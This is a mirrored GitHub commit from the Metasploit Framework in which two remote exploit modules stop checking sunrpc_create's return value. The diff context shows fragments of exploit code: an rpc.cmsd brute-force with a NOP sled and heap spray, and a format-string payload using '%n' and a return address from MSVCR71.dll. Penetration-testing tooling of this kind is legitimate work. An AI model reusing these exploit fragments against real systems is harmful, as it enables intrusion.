1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Allow sunrpc_create to raise on its own

This commit is contained in:
Jon Hart 2014-11-17 11:58:26 -08:00
parent 500c4249fe
commit 60e31cb342
2 changed files with 2 additions and 6 deletions

View File

@ -80,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])
begin
if (not sunrpc_create('udp', 100068, 4))
fail_with(Failure::Unknown, 'sunrpc_create failed')
end
sunrpc_create('udp', 100068, 4)
# spray the heap a bit (work around powerpc cache issues)
buf = make_nops(1024 - @aixpayload.length)

View File

@ -74,9 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
begin
if (not sunrpc_create('tcp', 0x5F3DD, 2))
fail_with(Failure::Unknown, 'sunrpc_create failed')
end
sunrpc_create('tcp', 0x5F3DD, 2)
fs = "%n" * target['Offset']
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll